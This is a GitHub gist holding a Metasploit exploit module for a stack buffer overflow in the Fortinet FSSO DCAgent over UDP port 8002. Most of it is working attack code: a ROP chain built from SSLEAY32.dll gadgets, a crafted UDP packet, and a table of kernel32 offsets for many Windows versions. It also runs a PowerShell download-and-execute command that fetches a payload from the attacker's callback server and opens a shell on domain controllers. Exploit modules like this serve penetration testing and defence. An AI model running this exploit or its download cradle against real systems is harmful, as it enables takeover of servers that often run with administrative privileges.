Skip to content

Instantly share code, notes, and snippets.

@phikshun
Created March 29, 2015 20:23
Show Gist options
  • Save phikshun/335e04277170ccb70630 to your computer and use it in GitHub Desktop.
Save phikshun/335e04277170ccb70630 to your computer and use it in GitHub Desktop.
Fortinet FSSO DCAgent Exploit
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/powershell'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info, {
'Name' => 'Fortinet FSSO DCAgent Protocol Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow on the Fortinet FSSO Agent using
the DCAgent protocol. This protocol is accessible over UDP port 8002. This
agent often runs with administrative privileges on a domain controller or
member server.
Tested with versions 4.3.0124 through 4.3.0143 running on Windows Server 2008
R2 SP1 and Windows Server 2012 R2.
If the version of Windows being targeted is not on the kernel32_versions list,
you can calculate the offset manually. Use pedump (Ruby gem) to export the
address of WinExec and GetTimeZoneInformation, then take the WinExec address
and subtract the address of GetTimeZoneInformation. Finally, perform a binary
1s compliment. This is the "magic value" (delta) that should be used in the
ROP chain. Note that if the result contains 0x00 of 0x2f bytes, you're out of
luck -- it won't work.
The service will automatically restarts if it crashes, so you get as many tries
as you need to get a shell. By default, it tries all known versions. Use the
KERNE32_VER parameter to limit the search options.
},
'License' => MSF_LICENSE,
'Author' => [ 'phikshun' ],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { 'Arch' => ARCH_X86 } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 29 2015'
}))
register_options(
[
Opt::RPORT(8002),
OptString.new('URIPATH', [false, 'Callback URL', '/p'])
], self.class
)
register_advanced_options(
[
OptString.new('PSH_URL', [false, 'Alternate URL to use for powershell download']),
OptString.new('DOMAIN', [false, 'Valid Windows domain', '.']),
OptString.new('USER', [false, 'Valid Windows user', 'guest']),
OptString.new('KERNEL32_VER', [false, 'SysWow64/kernel32.dll version'])
], self.class
)
end
def on_request_uri(cli, request)
print_status("Delivering Payload")
psh = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
send_response(cli, psh, { 'Content-Type' => 'application/octet-stream' })
end
def send_exploit(url, delta)
# 0x00 and 0x2f are badchars
rop_gadgets =
[
# nopsled
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
# esi = get ptr to winexec
0x1003800f, # POP EBP # RETN
0xffffffff, # -1
0x100274a8, # XOR EAX,EAX # RETN
0x10037fe4, # MUL ECX # RETN 0x10
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
0x10033d87, # POP EAX # RETN [SSLEAY32.dll]
0x100390e8, # SSLEAY32.dll - IAT 0x100390e8 : kernel32.GetTimeZoneInformation
0x100297f4, # ADD EDX,DWORD PTR DS:[EAX] # RETN
0x10033d87, # POP EAX # RETN [SSLEAY32.dll]
delta, # 2's compliment of (&WinExec - &GetTimeZoneInformation)
0x10012d62, # NEG EAX # RETN
0x100104c3, # LEA EBX,DWORD PTR DS:[EAX] # ADD EAX,C0331001 # RETN
0x10037ffe, # ADD EDX,EBX # POP EBX # RETN 0x10
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
0x10033d87, # POP EAX # RETN [SSLEAY32.dll]
0x10045020, # random writeable address
0x10012a36, # LEA ESI,DWORD PTR DS:[EDX+EBP+1] # ADC BYTE PTR DS:[EAX+30],BH # RETN
# edi = rop nop
0x10020d83, # POP EDI # RETN [SSLEAY32.dll]
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
# go!
0x10022e04, # PUSHAD # RETN [SSLEAY32.dll]
].flatten.pack("V*")
# winexec payload
cmd = "powershell -c IEX(new-object net.webclient).downloadstring(('#{url}'-replace'!',[char]47))#"
payload = rop_gadgets + cmd
# main packet string payload
buf = payload + 'A' * (236 - payload.length) + # payload + padding
[0x1001fef9].pack('V') * 2 + # 2nd stack pivot
[0x10020d84].pack('V') * 6 + # rop nopsled
[0x1001c543].pack('V') * 2 + # 1st stack pivot
[0x10020d84].pack('V') * 41 + # rop nopsled
"/#{datastore['DOMAIN']}/#{datastore['USER']}" # must be valid domain and user
# udp data payload
pkt = "\x01\xFCR^\f\xA3\xC0\xA8\xEF2\x01/" + buf +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x80\x00" +
"\x00\x14\x00\x00\x00\x01\x00\x00\x00\x01\x13\x89\x14P"
pkt[2..5] = [Time.now.to_i].pack('N') # update timestamp
pkt[0..1] = [pkt.length].pack('n') # update packet length
pkt[10..11] = [buf.length].pack('n') # update tlv length
hello = "\x00\x26\x52\x5d\xa3\x87\xff\xff\xff\xff\x00\x19\x77\x69\x6e\x32\x6b\x33\x2f" +
"\x4b\x45\x45\x50\x41\x4c\x49\x56\x45\x2f\x34\x2e\x33\x2e\x30\x31\x32\x39\x00"
hello[2..5] = [Time.now.to_i].pack('N') # update timestamp
connect_udp
[hello, hello, hello, pkt, pkt].each do |data|
udp_sock.put data
Rex::ThreadSafe.sleep(0.2)
end
disconnect_udp
end
def get_callback_url
url = (datastore['SSL'] ? 'https://' : 'http://')
url += (datastore['PSH_URL'] || datastore['LHOST'] || datastore['SRVHOST'])
url += ((datastore['SRVPORT'] == 80 && !datastore['SSL']) ||
(datastore['SRVPORT'] == 443 && datastore['SSL']) ? '' : ":#{datastore['SRVPORT']}" )
url += datastore['URIPATH']
end
def exploit
url = get_callback_url
if url.length > 27
print_error "URL is too long - 27 characters maximum"
return
end
if url.include? '0.0.0.0'
print_error "URL contains 0.0.0.0 - not a valid callback IP"
return
end
print_status("#{rhost}:#{rport} - Starting up web callback on #{url}")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => datastore['URIPATH']
}})
kernel32_versions = {
# manually generated
'6.3.9600.17415_en' => 0xfffd6150,
'6.3.9600.17056_en' => 0xFFFDA633,
'6.3.9600.17031_en' => 0xFFFDA674,
# auto-generated
'6.1.7601.22653_en.a' => 0xfff81491,
'6.1.7601.21772_en.a' => 0xfff819d1,
'6.1.7601.18409_en.a' => 0xfff81631,
'6.1.7601.18229_en.a' => 0xfff819a9,
'6.1.7601.18015_en.a' => 0xfff819b1,
'6.1.7601.17651_en.a' => 0xfff81a09,
'6.1.7601.17514_en.a' => 0xfff81a39,
'6.1.7600.16385_en.b' => 0xfff891db,
'6.1.7600.16385_en.a' => 0xfffafef3,
'6.0.6002.22988_en.a' => 0xfff939ac,
'6.0.6002.22942_en.a' => 0xfff939c4,
'6.0.6002.22625_en.a' => 0xfff92b64,
'6.0.6002.19034_en.a' => 0xfff9bdd4,
'6.0.6002.18740_en.a' => 0xfff927e4,
'6.0.6002.18704_en.a' => 0xfff9280c,
'6.0.6002.18449_en.a' => 0xfff913ac,
'6.0.6002.18005_en.a' => 0xfffaaac0,
'6.0.6002.18005_en.b' => 0xfff931c4,
'6.0.6001.22898_en.a' => 0xfff8f35c,
'6.0.6001.22376_en.a' => 0xfffab7b4,
'6.0.6001.18631_en.a' => 0xfff93f84,
'6.0.6001.18215_en.b' => 0xfff93fc4,
'6.0.6001.18215_en.a' => 0xfffac110,
'6.0.6001.18000_en.a' => 0xfffac228,
'6.0.6001.18000_en.b' => 0xfff9345c,
'5.2.3790.5295_en.b' => 0xfffba135,
'5.2.3790.5295_en.a' => 0xfffd0505,
'5.2.3790.5069_en.a' => 0xfffbb93c,
'5.2.3790.4480_en.c' => 0xfffba884,
'5.2.3790.4480_en.a' => 0xfffbba2c,
'5.2.3790.4062_en.a' => 0xfffbbb64,
'5.2.3790.3959_es.a' => 0xfffbbb5c
}
handler
kernel32_versions.each_pair do |version, delta|
if !datastore['KERNEL32_VER'] || version.include?(datastore['KERNEL32_VER'])
print_status "#{rhost}:#{rport} - Trying kernel32.dll version #{version} with delta 0x#{"%08x" % delta}"
send_exploit(url.gsub('/', '!'), delta)
print_status "Waiting 10 seconds for service to respawn"
Rex::ThreadSafe.sleep(10)
break if session_created?
else
print_status "Skipping kernel32.dll version #{version} (not matched)"
end
end
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment